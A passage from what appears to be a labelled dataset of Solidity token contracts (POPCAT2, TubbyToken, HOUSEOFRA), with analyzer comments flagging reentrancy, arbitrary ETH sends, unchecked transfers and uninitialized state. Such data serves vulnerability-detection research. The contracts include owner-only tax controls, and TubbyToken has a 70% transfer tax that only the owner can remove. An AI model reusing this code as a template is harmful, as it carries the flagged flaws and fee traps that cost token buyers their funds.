2cf8bec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9cffdb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9cffdb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2cf8bec\n\t\t\t\t// reentrancy-eth | ID: f9cffdb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2cf8bec\n\t\t\t\t\t// reentrancy-eth | ID: f9cffdb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f9cffdb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f9cffdb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f9cffdb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2cf8bec\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f9cffdb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f9cffdb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2cf8bec\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2cf8bec\n\t\t// reentrancy-events | ID: a6e0d31\n\t\t// reentrancy-benign | ID: 909866a\n\t\t// reentrancy-eth | ID: f9cffdb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 72f9b61): POPCAT2.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 72f9b61: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2cf8bec\n\t\t// reentrancy-events | ID: a6e0d31\n\t\t// reentrancy-eth | ID: f9cffdb\n\t\t// arbitrary-send-eth | ID: 72f9b61\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 887803b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 887803b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7902f83): POPCAT2.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7902f83: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3bea575): POPCAT2.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3bea575: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f4d6e34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f4d6e34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 887803b\n\t\t// reentrancy-eth | ID: f4d6e34\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 887803b\n\t\t// unused-return | ID: 7902f83\n\t\t// reentrancy-eth | ID: f4d6e34\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 887803b\n\t\t// unused-return | ID: 3bea575\n\t\t// reentrancy-eth | ID: f4d6e34\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 887803b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f4d6e34\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_101.sol",
"size_bytes": 19541,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TubbyToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1cd8d63): TubbyToken.bots is never initialized. It is used in TubbyToken._transfer(address,address,uint256)\n\t// Recommendation for 1cd8d63: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 42989e4): TubbyToken._taxWallet should be immutable \n\t// Recommendation for 42989e4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16cffa7): TubbyToken._initialBuyTax should be constant \n\t// Recommendation for 16cffa7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: d77d1e5): TubbyToken._initialSellTax should be constant \n\t// Recommendation for d77d1e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 208f604): TubbyToken._reduceBuyTaxAt should be constant \n\t// Recommendation for 208f604: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a44d61): TubbyToken._reduceSellTaxAt should be constant \n\t// Recommendation for 0a44d61: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 049339b): TubbyToken._preventSwapBefore should be constant \n\t// Recommendation for 049339b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Tubby Rainbow\";\n\n string private constant _symbol = unicode\"TUBBY\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2df306): TubbyToken._taxSwapThreshold should be constant \n\t// Recommendation for b2df306: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dbbc88): TubbyToken._maxTaxSwap should be constant \n\t// Recommendation for 9dbbc88: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a86b14): TubbyToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5a86b14: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 37b6997): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 37b6997: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ed88b9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ed88b9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 37b6997\n\t\t// reentrancy-benign | ID: ed88b9d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 37b6997\n\t\t// reentrancy-benign | ID: ed88b9d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2286c9f): TubbyToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2286c9f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ed88b9d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 37b6997\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: acd464e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for acd464e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1cd8d63): TubbyToken.bots is never initialized. It is used in TubbyToken._transfer(address,address,uint256)\n\t// Recommendation for 1cd8d63: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e709c4c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e709c4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: acd464e\n\t\t\t\t// reentrancy-eth | ID: e709c4c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: acd464e\n\t\t\t\t\t// reentrancy-eth | ID: e709c4c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e709c4c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e709c4c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e709c4c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: acd464e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e709c4c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e709c4c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: acd464e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: acd464e\n\t\t// reentrancy-events | ID: 37b6997\n\t\t// reentrancy-benign | ID: ed88b9d\n\t\t// reentrancy-eth | ID: e709c4c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d572a9a): TubbyToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d572a9a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: acd464e\n\t\t// reentrancy-events | ID: 37b6997\n\t\t// reentrancy-eth | ID: e709c4c\n\t\t// arbitrary-send-eth | ID: d572a9a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 86ee2e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 86ee2e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 50baf91): TubbyToken.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 50baf91: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 633679e): TubbyToken.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 633679e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ecf5388): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ecf5388: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 86ee2e5\n\t\t// reentrancy-eth | ID: ecf5388\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 86ee2e5\n\t\t// unused-return | ID: 633679e\n\t\t// reentrancy-eth | ID: ecf5388\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 86ee2e5\n\t\t// unused-return | ID: 50baf91\n\t\t// reentrancy-eth | ID: ecf5388\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 86ee2e5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ecf5388\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 338eadc): TubbyToken.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 338eadc: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 338eadc\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1010.sol",
"size_bytes": 21177,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HOUSEOFRA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38dc089): HOUSEOFRA._taxWallet should be immutable \n\t// Recommendation for 38dc089: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 62b6ceb): HOUSEOFRA._teamWallet should be immutable \n\t// Recommendation for 62b6ceb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _teamWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b1767e): HOUSEOFRA._taxWalletPercentage should be constant \n\t// Recommendation for 8b1767e: Add the 'constant' attribute to state variables that never change.\n uint256 private _taxWalletPercentage = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f71f71): HOUSEOFRA._teamWalletPercentage should be constant \n\t// Recommendation for 1f71f71: Add the 'constant' attribute to state variables that never change.\n uint256 private _teamWalletPercentage = 50;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: f4e5374): HOUSEOFRA._initialBuyTax should be constant \n\t// Recommendation for f4e5374: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ec08a5): HOUSEOFRA._initialSellTax should be constant \n\t// 